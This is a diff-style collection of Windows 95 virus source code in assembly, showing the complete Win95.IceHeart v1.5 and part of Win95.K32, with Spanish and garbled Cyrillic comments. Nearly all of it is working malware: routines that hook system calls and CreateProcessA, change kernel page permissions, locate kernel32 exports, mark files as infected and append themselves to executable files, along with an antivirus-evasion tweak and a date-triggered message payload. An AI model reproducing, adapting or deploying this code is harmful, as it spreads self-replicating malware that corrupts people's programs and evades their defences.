||||
|
||||
CreateFile DD 0
|
||||
CloseHandle DD 0
|
||||
FindFirstFile DD 0
|
||||
FindNextFile DD 0
|
||||
MapViewOfFile DD 0
|
||||
UnmapViewOfFile DD 0
|
||||
CreateFileMappingA DD 0
|
||||
GPA DD 0
|
||||
SearcHandle DD 0
|
||||
FileHandle DD 0
|
||||
MapHandle DD 0
|
||||
MapAddress DD 0
|
||||
|
||||
FILETIME STRUC
|
||||
|
||||
FT_dwLowDateTime DD ?
|
||||
FT_dwHighDateTime DD ?
|
||||
|
||||
FILETIME ENDS
|
||||
|
||||
Win32FindData:
|
||||
|
||||
WFD_dwFileAttributes DD ?
|
||||
WFD_ftCreationTime FILETIME ?
|
||||
WFD_ftLastAccessTime FILETIME ?
|
||||
WFD_ftLastWriteTime FILETIME ?
|
||||
WFD_nFileSizeHigh DD ?
|
||||
WFD_nFileSizeLow DD ?
|
||||
WFD_dwReserved0 DD ?
|
||||
WFD_dwReserved1 DD ?
|
||||
FNAME DD 0
|
||||
DD 0
|
||||
DD 0
|
||||
DD 0
|
||||
DD 0
|
||||
DD 0
|
||||
align 4
|
||||
|
||||
|
||||
MEM_END LABEL BYTE
|
||||
|
||||
EXITPROC:
|
||||
|
||||
PUSH 0
|
||||
CALL ExitProcess
|
||||
|
||||
ENDS
|
||||
END MEGAMIX
|
||||
@@ -0,0 +1,285 @@
|
||||
;last review 29.06.1999
|
||||
|
||||
;"—?® ? ??®? - ??? «?¤..."
|
||||
;Win95.IceHeart v1.5
|
||||
;(c) 1998-xxxx Stainless Steel Rat /2Rats /RVA /IkX
|
||||
jumps
|
||||
.386
|
||||
.model flat,stdcall
|
||||
|
||||
extrn ExitProcess:PROC
|
||||
.code
|
||||
start:
|
||||
_start:
|
||||
cld
|
||||
call _Next
|
||||
_Next:
|
||||
pop esi
|
||||
sub esi,offset _Next
|
||||
push ebp
|
||||
cmp byte ptr [esp+3+4],0BFh
|
||||
jne _ExitNow;NT
|
||||
mov ebp,_krnl_begin+178h+0Ch-40
|
||||
_DoSearchSection:
|
||||
add ebp,40
|
||||
mov edx,[ebp];first rva
|
||||
test edx,edx
|
||||
jz _ExitNow
|
||||
cmp dword ptr [ebp+24h-0Ch],0D0000040h;attr
|
||||
jne _DoSearchSection
|
||||
mov eax,[ebp+0Ch+40-0Ch];second rva
|
||||
mov ebx,eax
|
||||
sub eax,edx;rva delta
|
||||
sub eax,[ebp+8-0Ch];virtual size
|
||||
cmp ah,(virlen_in_mem/256)+1
|
||||
jb _DoSearchSection
|
||||
;in ebx second rva
|
||||
;in edx virtual size
|
||||
_SectionForUs:
|
||||
sub ebx,eax
|
||||
lea edi,[_krnl_begin+ebx]
|
||||
|
||||
lea ebp,[edi+offset _SecondStart-offset _start]
|
||||
pusha
|
||||
lea esi,[esi+offset _start]
|
||||
|
||||
_ResidencyCheck:
|
||||
xor ecx,ecx
|
||||
cmp byte ptr [edi],cl
|
||||
jne _ExitNow2
|
||||
mov ch,(virlen_in_mem/256)+1
|
||||
rep movsb
|
||||
call ebp
|
||||
_ExitNow2:
|
||||
popa
|
||||
_ExitNow:
|
||||
pop ebp
|
||||
jmp dword ptr [offset _old_eip+esi]
|
||||
|
||||
_SecondStart:
|
||||
mov esi,dword ptr ds:[_krnl_begin+_1st_export+0Ah]
|
||||
sub ebp,offset _SecondStart
|
||||
lea edi,[offset _old_vxd_call+ebp]
|
||||
push esi
|
||||
movsd
|
||||
movsw
|
||||
lea eax,[ebp+offset _Handler]
|
||||
pop edi
|
||||
stosd
|
||||
mov ax,cs
|
||||
stosw
|
||||
_InitSomeVars:
|
||||
mov dword ptr [offset _RelocFix+ebp+1],ebp
|
||||
lea eax,[offset _old_vxd_call+ebp]
|
||||
mov dword ptr [ebp+offset _JmpFword+2],eax
|
||||
retn
|
||||
|
||||
_Handler:
|
||||
pusha
|
||||
_RelocFix:
|
||||
mov ebp,11223344h
|
||||
_CheckBusyFlag:
|
||||
lea ecx,[offset _busy_flag+ebp]
|
||||
xor edx,edx
|
||||
cmp byte ptr [ecx],dl
|
||||
jne _Exit_Handler
|
||||
mov dl,0C0h
|
||||
cmp eax,2A0040h;id of DeviceIoControl
|
||||
jne _CheckInt21Call
|
||||
_CheckAvpCalls:
|
||||
cmp word ptr [edx+esp+2],22h
|
||||
jne _Exit_Handler
|
||||
not dword ptr [edx+esp];i think, avp likes api code,like this ;)
|
||||
|
||||
_CheckInt21Call:
|
||||
cmp eax,2A0010h;calling int 21h ?
|
||||
jne _Exit_Handler
|
||||
cmp word ptr [esp+44],716Ch;openfile ?
|
||||
je _Infect_It
|
||||
|
||||
_Exit_Handler:
|
||||
popa
|
||||
_JmpFword:
|
||||
jmp fword ptr ds:[offset _old_vxd_call]
|
||||
|
||||
_Infect_It:
|
||||
|
||||
not byte ptr [ecx]
|
||||
mov edi,esi
|
||||
xor eax,eax
|
||||
cld
|
||||
push ecx
|
||||
|
||||
push eax
|
||||
|
||||
mov ecx,esp
|
||||
repnz scasb
|
||||
pop ecx
|
||||
|
||||
mov eax,dword ptr [edi-5]
|
||||
or eax,20202000h
|
||||
cmp eax,'exe.'
|
||||
; cmp eax,'eci.'
|
||||
|
||||
|
||||
jne _ExitInfector
|
||||
_InfectFile:
|
||||
xor byte ptr [offset _Name+4+ebp],13
|
||||
|
||||
_AllocStack:
|
||||
mov ch,4;1024
|
||||
sub esp,ecx
|
||||
push ecx
|
||||
_OpenFile:
|
||||
xor edi,edi
|
||||
xor eax,eax
|
||||
cdq
|
||||
|
||||
inc edx
|
||||
mov ebx,edx
|
||||
inc ebx
|
||||
mov ax,716Ch
|
||||
call _Int21h
|
||||
xchg eax,ebx
|
||||
jc _FreeStack
|
||||
mov ah,3Fh
|
||||
call _Process_1024b
|
||||
cmp ecx,eax
|
||||
jne _CloseJmp
|
||||
mov eax,[edi+3Ch]
|
||||
shr ecx,1
|
||||
cmp eax,ecx
|
||||
jae _CloseJmp
|
||||
add edi,eax
|
||||
mov eax,[edi]
|
||||
inc eax;heuristics sucks
|
||||
cmp ax,'EP'+1;sign
|
||||
jne _CloseJmp
|
||||
cmp byte ptr [edi+61h],7Dh;winzip's sfx stack size
|
||||
je _CloseJmp
|
||||
_CheckAlreadyInfected:
|
||||
|
||||
|
||||
cmp byte ptr [edi+1Ah],al
|
||||
je _CloseJmp
|
||||
mov byte ptr [edi+1Ah],al
|
||||
test byte ptr [edi+23],22h;dll or fixed image
|
||||
jne _CloseJmp
|
||||
mov byte ptr [edi+23],0;strip reloc
|
||||
mov edx,dword ptr [edi+160];fixup section
|
||||
test edx,edx
|
||||
je _CloseJmp
|
||||
push edx
|
||||
xchg dword ptr [edi+40],edx;entry point
|
||||
add edx,dword ptr [edi+48+4];image base
|
||||
mov dword ptr [offset _old_eip+ebp],edx
|
||||
pop edx
|
||||
|
||||
_AnalyzePlaceInFixupArea:
|
||||
|
||||
mov ecx,[edi+6]
|
||||
lea esi,[edi+0F8h+12];rva
|
||||
|
||||
_DoAnalyzeSections:
|
||||
lodsd
|
||||
cmp eax,edx;search section with rva=fixup rva
|
||||
je _OkiFixupOur
|
||||
add esi,40-4
|
||||
loop _DoAnalyzeSections
|
||||
_CloseJmp:
|
||||
jmp _Close
|
||||
_OkiFixupOur:
|
||||
lodsd;phys size
|
||||
mov edx,virlen
|
||||
cmp eax,edx
|
||||
jb _CloseJmp
|
||||
mov dword ptr [esi-12],edx
|
||||
push edx
|
||||
lodsd;phyz ofs
|
||||
|
||||
|
||||
_Int21CallOptimization:
|
||||
lea esi,[ebp+offset _Int21h]
|
||||
|
||||
|
||||
_SeekToEnd:
|
||||
|
||||
push eax
|
||||
pop dx
|
||||
pop cx
|
||||
mov ax,4200h
|
||||
call esi
|
||||
|
||||
_WriteSelf:
|
||||
mov ah,40h
|
||||
lea edx,[ebp+offset _start]
|
||||
pop ecx
|
||||
call esi
|
||||
|
||||
_WriteHeader:
|
||||
xor eax,eax
|
||||
mov ah,42h
|
||||
cdq
|
||||
call esi
|
||||
|
||||
mov ah,40h
|
||||
call _Process_1024b
|
||||
|
||||
_Close:
|
||||
mov ah,3Eh
|
||||
call _Int21h
|
||||
|
||||
_FreeStack:
|
||||
pop ecx
|
||||
add esp,ecx
|
||||
|
||||
_ExitInfector:
|
||||
pop ecx
|
||||
not byte ptr [ecx]
|
||||
jmp _Exit_Handler
|
||||
|
||||
|
||||
_Process_1024b:
|
||||
lea edi,[esp+4+4]
|
||||
xor ecx,ecx
|
||||
mov ch,4;1024
|
||||
mov edx,edi
|
||||
_Int21h:
|
||||
push ecx
|
||||
push ebp
|
||||
push ecx eax
|
||||
push 2A0010h
|
||||
mov ebp,_krnl_begin+_1st_export
|
||||
call ebp
|
||||
pop ebp
|
||||
pop ecx
|
||||
retn
|
||||
|
||||
|
||||
|
||||
|
||||
_Name db 'Win95.iCE-hEART',0
|
||||
_Msg db '? ? ?? , ? ???? ??§?¬® «??«? !',0
|
||||
|
||||
_old_eip dd offset ExitProcess
|
||||
virlen equ $-offset start
|
||||
_old_vxd_call db 6 dup ('')
|
||||
_busy_flag db ''
|
||||
virlen_in_mem equ $-offset start
|
||||
|
||||
ends
|
||||
|
||||
.data
|
||||
db 13,10
|
||||
|
||||
_krnl_begin equ 0BFF70000h
|
||||
_1st_export equ 13D4h
|
||||
end start
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,744 @@
|
||||
;***********************************************************************
|
||||
;* *
|
||||
;* VIRUS WIN95.K32 By nIgr0 *
|
||||
;* *
|
||||
;***********************************************************************
|
||||
;
|
||||
; Virus residente, pa win95
|
||||
; Uso el espacio libre dejado por el header del kernel32
|
||||
; dentro de la primera p gina.
|
||||
; Parcheo el API CreateProcessA mediante un JMP
|
||||
; Modifico los permisos de las p ginas que voy a utilizar
|
||||
; mediante una llamada a CALLVXD0 (_PageModifyPermissions)
|
||||
; Vxd 01 servicio 0d.
|
||||
; Hallo la direccion de las apis a utilizar buscando en la
|
||||
; export table del kernel32 , supongo la direcci?n base del
|
||||
; kernel32.dll como 0bff70000h . La unica comprobaci?n que hago
|
||||
; al respecto es mirar en la pila [sp+3]=0b7h, con lo que
|
||||
; por lo menos si no es 0bff70000h se acerca :)
|
||||
; Infecto aumentando la ultima secci?n del file y modifico el
|
||||
; entrypoint del file, pero no modifico los atributos de la ?ltima
|
||||
; secci?n aunque estos sean de solo lectura ,paso completamente de esos
|
||||
; atributos y luego mientras se ejecuta el virus este se pone los
|
||||
; atributos de pagina que quiera mediante el servicio
|
||||
; _PageModifyPermissions.
|
||||
;
|
||||
|
||||
|
||||
|
||||
.386p
|
||||
.model flat,STDCALL
|
||||
include win32.inc
|
||||
|
||||
extrn ExitProcess:PROC
|
||||
extrn MessageBoxA:PROC ;apis exportadas unicamente en la primera
|
||||
extrn CreateProcessA:proc ;generaci?n
|
||||
|
||||
|
||||
;*********** Aqu? algunas equs interesantes ****************
|
||||
|
||||
viriisize equ (((offset end - offset start)+064h)/065h)*065h
|
||||
K32 equ 0bff70000h
|
||||
hueco equ 0bffc0400h ;Zona en el header
|
||||
|
||||
GENERIC_READ EQU 80000000H ;abre archivo para lectura
|
||||
GENERIC_WRITE EQU 40000000H ;abre el archivo para escritura
|
||||
OPEN_EXISTING EQU 3 ;usado por CreateFile para abrir archivo existente
|
||||
|
||||
|
||||
.data
|
||||
|
||||
dummy db 0 ;de esta secci?n paso
|
||||
mess db 'nIgrO rUlez!!!$',0
|
||||
text db 'Virus Win95.K32 .... Ejecutado',0
|
||||
|
||||
|
||||
|
||||
.code
|
||||
start:
|
||||
xor eax,eax ;este es el codigo de un Hoste Ficticio
|
||||
push eax
|
||||
lea eax,mess
|
||||
push eax
|
||||
lea eax,text
|
||||
push eax
|
||||
xor eax,eax
|
||||
push eax
|
||||
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
|
||||
; call MessageBoxA
|
||||
|
||||
|
||||
|
||||
Lajodimos:
|
||||
|
||||
Push LARGE -1
|
||||
call ExitProcess
|
||||
|
||||
;***************** Comienzo del Virus **********************
|
||||
|
||||
startvirii:
|
||||
cmp byte ptr [esp+3],0bfh ;verifico que se llama desde el
|
||||
jne malasunto ;la direcci?n bf??????h
|
||||
|
||||
pushad ;pusheo tooo
|
||||
push ebp
|
||||
|
||||
call getdesp ;obtengo el delta
|
||||
getdesp: pop ebp
|
||||
sub ebp,offset getdesp
|
||||
|
||||
jmp saltito ;jmp pa esquivar la zona de datos :)
|
||||
|
||||
;***************** Comienzo de la zona de Datos ***********
|
||||
|
||||
startdata:
|
||||
PARCHE: mov eax,0bff70400h+offset starthook-offset startvirii
|
||||
jmp eax
|
||||
codigoparcheado:
|
||||
db 010h dup (0)
|
||||
|
||||
FIRMA db 'Virus K32 por nIgr0 ... "Hazlo o no lo hagas pero no lo intentes"',0
|
||||
NLH db 'nIgr0_lives_here!!!!',0
|
||||
IOBYTES dd 0h,0h
|
||||
llamada dd 0bff713d4h ;direcci?n de CallVXD0 hallada anteriormente
|
||||
hoste db 'c:\virus\k32\K.EXE',0,' '
|
||||
|
||||
ahand dd 0 ; handle del virus que abro
|
||||
peheaderoffset dd 0 ; Guardo el offset del peheader del archivo
|
||||
ObjectTableoffset dd 0 ; Guardo el offset de la object table en memoria
|
||||
bytesread dd 0 ; numero de bytes que leo/escrito en el archivo
|
||||
|
||||
secdesplaza dd 0h
|
||||
secphy dd offset startvirii- offset start
|
||||
ultfisicalsize dd 0h
|
||||
|
||||
newobject: ; Zona en la que almaceno el ultimo objeto
|
||||
oname db ".nigro",0,0 ; Pa modificarlo a placer
|
||||
virtualsize dd 0
|
||||
RVA dd 0
|
||||
physicalsize dd 0
|
||||
physicaloffset dd 0
|
||||
reserved dd 0,0,0
|
||||
objectflags dd 0h
|
||||
|
||||
peheader: ; Estructura del Pe header
|
||||
signature dd 0
|
||||
cputype dw 0
|
||||
numObj dw 0
|
||||
db 3*4 dup (0)
|
||||
NtHeaderSize dw 0
|
||||
Flags dw 0
|
||||
db 4*4 dup (0)
|
||||
entrypointRVA dd 0
|
||||
db 3*4 dup (0)
|
||||
objalign dd 0
|
||||
filealign dd 0
|
||||
db 4*4 dup (0)
|
||||
imagesize dd 0
|
||||
headersize dd 0
|
||||
db 400h dup (0)
|
||||
|
||||
addresstable dd 00h ;direccion de la addresstable en la export table
|
||||
nametable dd 00h ;direccion la tabla de punteros a strings (de la export table)
|
||||
ordinaltable dd 00h ;puntero a la ordinal table
|
||||
contador dd 00h ;pa calcular la posici?n del puntero en la nametable que
|
||||
;que apunte a la api buscada.
|
||||
apiabuscar dd 00h ;offset donde se encuentra la string de la api a
|
||||
;buscar (es usada temporalmente por mi
|
||||
;procedimiento GetAdressAPi)
|
||||
longitudapi dd 00h
|
||||
|
||||
;************** Direcciones para las APIS *******************
|
||||
|
||||
|
||||
nombreapis:
|
||||
dd 010d
|
||||
db 'CreateFile',0,' ' ;strings de las apis que
|
||||
dd 014d
|
||||
db 'SetFilePointer',0,' ' ;voy a utilizar
|
||||
dd 08d
|
||||
db 'ReadFile',0,' ' ;junto con el tama¤o de la
|
||||
dd 09d
|
||||
db 'WriteFile',0,' ' ;string
|
||||
dd 011d
|
||||
db 'CloseHandle',0,' '
|
||||
dd 014d
|
||||
db 'CreateProcessA',0,' '
|
||||
dd 016d
|
||||
db 'GetModuleHandleA',0
|
||||
dd 014d
|
||||
db 'GetProcAddress',0,' '
|
||||
direccionesapis:
|
||||
|
||||
newCreateFile dd 00h ;0bff7799ch ;valores para mi versi?n de WIN :)
|
||||
newSetFilePointer dd 00h ;0bff770e4h
|
||||
newReadFile dd 00h ;0bff7594ah
|
||||
newWriteFile dd 00h ;0bff75951h
|
||||
newCloseFile dd 00h ;0bff7bc8bh
|
||||
newCreateProcessA dd 00h ;0bff775e8h
|
||||
newGetModuleHandleA dd 00h
|
||||
newGetProcAddress dd 00h
|
||||
|
||||
dllmensajito db 'USER32.dll',0
|
||||
apimensajito db 'MessageBoxA',0
|
||||
|
||||
;***************** Fin de la Zona de datos ***********************
|
||||
|
||||
|
||||
saltito:
|
||||
;en eax viene el entrypoint del virii
|
||||
|
||||
mov ebx,eax ;copia de seguridad
|
||||
|
||||
xor eax,eax ;empiezo a calcular la direccion de CALLVXD0
|
||||
mov esi,K32 + 3CH
|
||||
lodsw ;en ax me quedar el comienzo del PE header
|
||||
|
||||
add eax,K32 ;a la que le suma la direcci?n base del Kernel32
|
||||
|
||||
|
||||
cmp dword ptr [EAX],00004550H ;verifico que es un PE header
|
||||
je NoERROR
|
||||
|
||||
ERROR: jmp melaspiro
|
||||
|
||||
|
||||
NoERROR:
|
||||
mov esi,[EAX + 78H] ; 78H = la direcci?n a la export table
|
||||
add esi,K32 + 1CH ; 1CH RVA para la adress table
|
||||
|
||||
|
||||
lodsd ; en eax queda la RVA al primer ordinal
|
||||
add eax,K32 ; es decir la direcci?n a la CALLVXD0
|
||||
|
||||
push eax ;
|
||||
pop esi ;en esi=eax
|
||||
|
||||
lodsd ;obtengo la RVA de la primera API
|
||||
add eax,K32 ;EAX = La direcci?n de la primera API
|
||||
|
||||
|
||||
mov edi,ebx
|
||||
and edi,0fffff000h ;calculo la pagina del virii
|
||||
ror edi,012d
|
||||
push eax
|
||||
call modificarpermisos
|
||||
pop eax
|
||||
|
||||
and ebx,00000fffh ;verifico que no va a utilizar 2 paginas
|
||||
add ebx,viriisize ;en caso de que utilice 2 paginas , marco
|
||||
cmp ebx,01000h ;la segunda pagina tambien para escritura
|
||||
jl continuar
|
||||
|
||||
inc edi
|
||||
push eax
|
||||
call modificarpermisos
|
||||
pop eax
|
||||
continuar:
|
||||
|
||||
mov [ebp+llamada],eax ;salvo la direcci?n de CALLVXD0
|
||||
|
||||
mov eax,0bff70400h ;verifico que no est residente
|
||||
mov ebx,dword ptr [eax]
|
||||
cmp ebx,dword ptr [ebp+startvirii]
|
||||
je yaresidente
|
||||
|
||||
|
||||
mov ecx,08h ;numero de APis a buscar
|
||||
lea esi,ebp+nombreapis
|
||||
lea edi,ebp+direccionesapis
|
||||
otraapi: ;obtengo la direccion de las apis
|
||||
push edi ;que voy a utilizar
|
||||
push esi
|
||||
push ecx
|
||||
call GetAddressApi
|
||||
pop ecx
|
||||
pop esi
|
||||
pop edi
|
||||
mov dword ptr [edi],eax
|
||||
add edi,4h
|
||||
add esi,021d
|
||||
dec ecx
|
||||
jne otraapi ;bueno en este punto tenemos las direcciones
|
||||
;necesarias :)
|
||||
|
||||
|
||||
mov eax,00002a00h
|
||||
call INT_21 ;compruebo la fecha del sistema
|
||||
|
||||
cmp dh,02d
|
||||
jne nopayload ;fecha de activaci?n 19d de febrero
|
||||
cmp dl,019d
|
||||
jne nopayload
|
||||
|
||||
lea ebx,ebp+dllmensajito ;Obtengo la direccion base de la
|
||||
push ebx ;libreria USER32.dll donde reside
|
||||
call [ebp+newGetModuleHandleA] ;el api MessageBoxA
|
||||
|
||||
lea ebx,ebp+apimensajito
|
||||
push ebx
|
||||
push eax
|
||||
call [ebp+newGetProcAddress] ;obtengo la direccion de MessageBoxA
|
||||
|
||||
push 0
|
||||
lea ebx,ebp+NLH
|
||||
push ebx
|
||||
lea ebx,ebp+FIRMA
|
||||
push ebx
|
||||
push 0
|
||||
call eax ;llamo al api MessageBoxA
|
||||
|
||||
|
||||
nopayload:
|
||||
|
||||
mov edi,0bff70h
|
||||
call desprotegerpagina
|
||||
mov edi,dword ptr [ebp+newCreateProcessA]
|
||||
and edi,0fffff000h
|
||||
ror edi,012d
|
||||
call desprotegerpagina ;desprotejo 2 paginas una para poder
|
||||
;parchear el api y otra en la que
|
||||
;quedar‚ residente
|
||||
inc edi
|
||||
call desprotegerpagina ;y la siguiente
|
||||
|
||||
mov esi,dword ptr [ebp+newCreateProcessA]
|
||||
lea edi,ebp+codigoparcheado
|
||||
mov ecx,010h
|
||||
rep movsb ;copio los 10h primeros bytes del api
|
||||
;CreateProcess
|
||||
;para poder devolver el control al API
|
||||
;cuando sea llamada.
|
||||
|
||||
lea esi,ebp+PARCHE
|
||||
mov edi,dword ptr [ebp+newCreateProcessA] ;pongo el jmp
|
||||
mov ecx,010h ;en la API ;del api
|
||||
rep movsb
|
||||
|
||||
lea esi,ebp+startvirii
|
||||
mov edi,0bff70400h
|
||||
mov ecx,viriisize
|
||||
rep movsb ;copio el virus en memoria
|
||||
|
||||
yaresidente:
|
||||
melaspiro:
|
||||
popad
|
||||
pop ebp
|
||||
malasunto:
|
||||
db 0b8h ;esto es un mov eax,inm
|
||||
oldip dd 0401000h ;Ip de inicio
|
||||
jmp eax
|
||||
|
||||
enddata:
|
||||
;*************** Modifica permisos de pagina *********************
|
||||
;en eax la direccion de callvxd0
|
||||
;y en edi la pagina a modificar
|
||||
|
||||
desprotegerpagina: ; LLamada a CALLVXD0
|
||||
mov eax,dword ptr [ ebp + offset llamada]
|
||||
modificarpermisos:
|
||||
push 020060000h ;nuevos atributos de p gina
|
||||
push 00h
|
||||
push 01h
|
||||
push edi
|
||||
push 001000dh ;llamada a la VXD 1 servicio D (_PageModifyPermissions)
|
||||
call eax
|
||||
ret
|
||||
|
||||
;**************** Rutina para llamar a la int 21h **********************
|
||||
|
||||
INT_21: ; LLamada a la INT 21
|
||||
push ecx
|
||||
push eax
|
||||
push 002a0010h
|
||||
mov eax,dword ptr [ ebp + offset llamada]
|
||||
call eax
|
||||
RET
|
||||
|
||||
;************** Procedimiento que encuentra la direccion de las apis ***************
|
||||
;************** en la export table del Kernel32 ***************
|
||||
|
||||
GetAddressApi:
|
||||
mov eax,dword ptr [esi]
|
||||
mov dword ptr [ebp+longitudapi],eax
|
||||
add esi,04h
|
||||
mov dword ptr [ebp+apiabuscar],esi ;pusheo el valor de la string
|
||||
|
||||
xor eax,eax
|
||||
mov dword ptr [ebp+contador],eax ;pongo a cero el valor del contador
|
||||
mov esi,K32 + 3CH
|
||||
lodsw ;en ax me quedar el comienzo del PE header
|
||||
|
||||
add eax,K32 ;a la que le suma la direcci?n base del Kernel32
|
||||
|
||||
mov esi,[EAX + 78H] ; 78H = la direcci?n a la export table
|
||||
add esi,K32 + 1cH ; 1CH RVA para la adress table
|
||||
|
||||
|
||||
lodsd ;obtengo los offset de algunas TABLAS
|
||||
add eax,K32 ;interesantes de la export table
|
||||
mov dword ptr [ebp+addresstable],eax
|
||||
lodsd
|
||||
add eax,K32
|
||||
mov dword ptr [ebp+nametable],eax
|
||||
lodsd
|
||||
add eax,K32
|
||||
mov dword ptr [ebp+ordinaltable],eax
|
||||
|
||||
;ADDRESS TABLE RVA = DD Relative Virtual Address of the Export Address
|
||||
;Table.
|
||||
;NAME TABLE RVA = DD Relative Virtual Address of the Export Name Table
|
||||
;Pointers.
|
||||
;ORDINAL TABLE RVA = DD Relative Virtual Address of Export Ordinals
|
||||
|
||||
|
||||
mov eax,dword ptr [ebp+nametable]
|
||||
mov esi,eax
|
||||
anotherapi:
|
||||
push esi
|
||||
lodsd
|
||||
mov esi,eax
|
||||
add esi,K32
|
||||
mov edi,dword ptr [ebp+apiabuscar]
|
||||
mov ecx,dword ptr [ebp+longitudapi];en ecx el numero de bytes
|
||||
cld ;con los que compararemos
|
||||
repe cmpsb
|
||||
je encontrada
|
||||
pop esi
|
||||
add esi,04h
|
||||
inc dword ptr [ebp+contador]
|
||||
jmp anotherapi
|
||||
|
||||
encontrada:
|
||||
pop esi
|
||||
|
||||
xor eax,eax
|
||||
mov eax,dword ptr [ebp+contador]
|
||||
add eax,eax
|
||||
add eax,dword ptr [ebp+ordinaltable] ;Con el valor de contador
|
||||
mov esi,eax ;me voy a la ordinal table
|
||||
lodsw ;y busco el ordinal del API
|
||||
and eax,0000ffffh
|
||||
add eax,eax
|
||||
add eax,eax
|
||||
add eax,dword ptr [ebp+addresstable] ;Y con el ordinal me voy a la
|
||||
mov esi,eax ;adress table
|
||||
lodsd
|
||||
add eax,K32 ;devuelvo en eax la direccion del API
|
||||
ret
|
||||
|
||||
|
||||
;***************************************************************************
|
||||
;* *
|
||||
;* Comienzo de la Rutina que intercepa la API CreateProcessA *
|
||||
;* *
|
||||
;***************************************************************************
|
||||
|
||||
|
||||
starthook:
|
||||
push ebp
|
||||
call getdelta ;obtengo el delta
|
||||
getdelta: pop ebp
|
||||
sub ebp,offset getdelta
|
||||
|
||||
|
||||
mov eax,[esp+0ch] ;obtengo el puntero a la cadena de texto
|
||||
;de la pila :)
|
||||
pushad ;pusheo tooo
|
||||
|
||||
mov esi,eax
|
||||
lea edi,ebp+hoste
|
||||
otrocar: cmp byte ptr [esi],0 ;copio la cadena de texto con el nombre
|
||||
je sacabo ;de la victima en la variable hoste
|
||||
movsb
|
||||
jmp otrocar
|
||||
sacabo: movsb ;copio el 0 tambi‚n
|
||||
|
||||
lea esi,ebp+hoste
|
||||
cmp byte ptr [esi],022h
|
||||
jne proseguir ;rehago el string por si est
|
||||
;entre comillas
|
||||
lea edi,ebp+hoste
|
||||
inc esi
|
||||
mascara: cmp byte ptr [esi],022h
|
||||
je finalizar
|
||||
movsb
|
||||
jmp mascara
|
||||
finalizar: mov byte ptr [esi],0h
|
||||
movsb
|
||||
proseguir: cmp word ptr [edi-3h],'EX'
|
||||
je esunexe
|
||||
cmp word ptr [edi-3h],'ex'
|
||||
je esunexe
|
||||
jmp emergencia
|
||||
esunexe:
|
||||
lea esi,ebp+hoste ;Abro el archivo
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push large OPEN_EXISTING
|
||||
push eax
|
||||
push eax
|
||||
push large GENERIC_READ or GENERIC_WRITE
|
||||
mov eax,esi
|
||||
push eax
|
||||
call dword ptr[ebp + newCreateFile]
|
||||
cmp eax,-1
|
||||
je emergencia
|
||||
|
||||
|
||||
|
||||
mov dword ptr [ebp + offset ahand],eax ; Guardo el handle
|
||||
|
||||
|
||||
; Busco el comienzo del PE header que est en la posici?n 3ch
|
||||
|
||||
mov edx,03ch
|
||||
call moverpuntero
|
||||
|
||||
; Leo la posici?n del Pe header
|
||||
|
||||
mov ecx,004h
|
||||
lea edx,[ebp + offset peheaderoffset]
|
||||
call lectura
|
||||
|
||||
; Me muevo hasta el PE header
|
||||
|
||||
mov edx,dword ptr [ebp+offset peheaderoffset]
|
||||
call moverpuntero
|
||||
|
||||
|
||||
; Leo un poco del header para calcular todo el tama¤o del
|
||||
; pe header y object table
|
||||
|
||||
mov ecx,058h
|
||||
lea edx,[ebp + offset peheader]
|
||||
call lectura
|
||||
|
||||
; Llevo el puntero al comienzo del PE header de nuevo
|
||||
mov edx,dword ptr [ebp+ offset peheaderoffset]
|
||||
call moverpuntero
|
||||
|
||||
; leo todo el pe header y la object table
|
||||
mov ecx,dword ptr [ebp + offset headersize]
|
||||
lea edx,[ebp + offset peheader]
|
||||
call lectura
|
||||
|
||||
|
||||
|
||||
; Me aseguro que es un pe y que no est infectado
|
||||
cmp dword ptr [ebp + offset peheader],00004550h ; PE,0,0
|
||||
jnz notape
|
||||
cmp word ptr [ebp + offset peheader + 4ch],00badh ;si est infectado salir
|
||||
jz notape
|
||||
|
||||
|
||||
; marco el archivo como infectado en una zona del Header
|
||||
mov word ptr [ebp + offset peheader + 4ch],00badh
|
||||
|
||||
|
||||
; Localizo el offset de la object table
|
||||
xor eax,eax
|
||||
mov ax, word ptr [ebp + offset NtHeaderSize]
|
||||
add eax,18h
|
||||
mov dword ptr [ebp + offset ObjectTableoffset],eax
|
||||
|
||||
;relativo al comienzo del Pe header
|
||||
|
||||
|
||||
;Calculo el Offset del ?ltimo objecto de la tabla
|
||||
mov esi,dword ptr [ebp + offset ObjectTableoffset]
|
||||
lea eax,[ebp + offset peheader]
|
||||
add esi,eax
|
||||
xor eax,eax
|
||||
mov ax,[ebp + offset numObj]
|
||||
mov ecx,40d
|
||||
xor edx,edx
|
||||
mul ecx
|
||||
add esi,eax
|
||||
|
||||
sub esi,40d
|
||||
|
||||
lea edi,[ebp + offset newobject]
|
||||
|
||||
mov ecx,10d
|
||||
push esi
|
||||
push edi
|
||||
rep movsd ;copio la entrada en la object table en memoria
|
||||
|
||||
|
||||
mov eax,dword ptr [ebp + offset physicalsize]
|
||||
mov dword ptr [ebp + offset ultfisicalsize],eax
|
||||
mov dword ptr [ebp + offset secphy],eax
|
||||
|
||||
; Calcula el tama¤o fisico pa el ultimo object
|
||||
mov ecx,dword ptr [ebp + offset filealign]
|
||||
mov eax,dword ptr [ebp + offset physicalsize]
|
||||
add eax,viriisize
|
||||
xor edx,edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov dword ptr [ebp + offset physicalsize],eax
|
||||
|
||||
mov eax,dword ptr [ebp + offset virtualsize]
|
||||
mov dword ptr [ebp+ offset secdesplaza],eax ;el tama¤o virtual ser
|
||||
;el desplazamiento dentro de la secci?n
|
||||
;RVA del objeto + desplazamiento virtual= entrypoint RVA
|
||||
|
||||
; calcula el tama¤o virtual del objeto modificado
|
||||
mov ecx,dword ptr [ebp + offset objalign]
|
||||
mov eax,dword ptr [ebp + offset virtualsize]
|
||||
add eax,viriisize
|
||||
xor edx,edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov dword ptr [ebp + offset virtualsize],eax
|
||||
|
||||
|
||||
; Modifico la image size del archivo.
|
||||
|
||||
mov eax,viriisize
|
||||
add eax,dword ptr [ebp + offset imagesize]
|
||||
mov ecx,[ebp + offset objalign]
|
||||
xor edx,edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov dword ptr [ebp + offset imagesize],eax
|
||||
|
||||
; Copio el objeto modificado en el buffer
|
||||
|
||||
